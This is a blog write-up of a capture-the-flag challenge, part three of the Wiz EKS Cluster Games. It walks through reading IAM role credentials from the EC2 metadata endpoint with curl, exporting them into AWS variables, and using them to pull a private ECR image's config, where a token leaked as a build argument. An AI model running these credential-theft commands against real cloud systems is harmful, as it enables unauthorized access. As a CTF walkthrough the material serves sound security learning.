github rss
EKS Cluster Games: Challenge 3 (SPOILERS)
Nov 2, 2023
3 minutes read

This is a writeup of how I solved part three of the EKS Cluster Games. Huge thanks to Wiz for putting this together.

If you haven’t yet, you should start with challenges one and two.

Challenge Three

This challenge starts with access to a Kubernetes service account, but this time it doesn’t seem to have access to much interesting data:

root@wiz-eks-challenge:~# kubectl whoami
system:serviceaccount:challenge3:service-account-challenge3
root@wiz-eks-challenge:~# kubectl get secrets
Error from server (Forbidden): secrets is forbidden: User "system:serviceaccount:challenge3:service-account-challenge3" cannot list resource "secrets" in API group "" in the namespace "challenge3"
root@wiz-eks-challenge:~# kubectl get pods
NAME                      READY   STATUS    RESTARTS   AGE
accounting-pod-876647f8   1/1     Running   0          25h

The pod is running an image that we’d like to explore, but we don’t have permission:

root@wiz-eks-challenge:~# kubectl get pods -o json | jq -r '.items[].spec.containers[].image'
688655246681.dkr.ecr.us-west-1.amazonaws.com/central_repo-aaf4a7c@sha256:7486d05d33ecb1c6e1c796d59f63a336cfa8f54a3cbc5abf162f533508dd8b01

root@wiz-eks-challenge:~# crane pull "$(kubectl get pods -o json | jq -r '.items[].spec.containers[].image')" /tmp/image.tar
Error: GET https://688655246681.dkr.ecr.us-west-1.amazonaws.com/v2/central_repo-aaf4a7c/manifests/sha256:7486d05d33ecb1c6e1c796d59f63a336cfa8f54a3cbc5abf162f533508dd8b01: unexpected status code 401 Unauthorized: Not Authorized

Abusing IMDSv1

The key initial observation here is that you can reach the EC2 instance metadata service (IMDSv1):

root@wiz-eks-challenge:~# curl 169.254.169.254/latest/meta-data/iam/security-credentials
eks-challenge-cluster-nodegroup-NodeInstanceRole

We can use this to grab the IAM instance credentials:

root@wiz-eks-challenge:~# curl -s 169.254.169.254/latest/meta-data/iam/security-credentials/eks-challenge-cluster-nodegroup-NodeInstanceRole | jq .
{
  "AccessKeyId": "ASIA2[...]E",
  "Expiration": "2023-11-02 15:46:13+00:00",
  "SecretAccessKey": "zcoLW[...]Ds",
  "SessionToken": "FwoG[...]"
}

You can copy-paste or use a one-liner like this to export these values into $AWS_* environment variables:

root@wiz-eks-challenge:~# JSON="$(curl -s 169.254.169.254/latest/meta-data/iam/security-credentials/eks-challenge-cluster-nodegroup-NodeInstanceRole)"; export AWS_ACCESS_KEY_ID="$(echo "$JSON" | jq -r .AccessKeyId)"; export AWS_SECRET_ACCESS_KEY="$(echo "$JSON" | jq -r .SecretAccessKey)";export AWS_SESSION_TOKEN="$(echo "$JSON" | jq -r .SessionToken)";

We can confirm this worked by calling sts:GetCallerIdentity:

root@wiz-eks-challenge:~# aws sts get-caller-identity
{
    "UserId": "AROA2AVYNEVMQ3Z5GHZHS:i-0cb922c6673973282",
    "Account": "688655246681",
    "Arn": "arn:aws:sts::688655246681:assumed-role/eks-challenge-cluster-nodegroup-NodeInstanceRole/i-0cb922c6673973282"
}

Loading the Image

We can recognize this as the IAM role used by the kubelet on this node. We don’t know what IAM permissions this role has, but we can guess that it has some permissions to pull the ECR image referenced in the pod we saw. To check, we first need to get an ECR token:

root@wiz-eks-challenge:~# aws ecr get-login-password | crane auth login --username AWS --password-stdin 688655246681.dkr.ecr.us-west-1.amazonaws.com
2023/11/02 15:01:44 logged in via /home/user/.docker/config.json

Finding the Flag

Based on the initial clue for this challenge, we can guess that we need to look at the image metadata, which we can do with crane config:

root@wiz-eks-challenge:~# kubectl get pods -o json | jq -r '.items[].spec.containers[].image'
688655246681.dkr.ecr.us-west-1.amazonaws.com/central_repo-aaf4a7c@sha256:7486d05d33ecb1c6e1c796d59f63a336cfa8f54a3cbc5abf162f533508dd8b01

root@wiz-eks-challenge:/tmp# crane config "$(kubectl get pods -o json | jq -r '.items[].spec.containers[].image')" | jq .
{
  "architecture": "amd64",
  [...] ARTIFACTORY_TOKEN=wiz_eks_challenge{🚩🚩🚩🚩🚩🚩🚩} [...]
}

You’ll find that even though the secret token didn’t leak into the image layers directly, it got captured as the value of ARTIFACTORY_TOKEN passed during one of the layer builds.

Next

Notes for challenge four.


Back to posts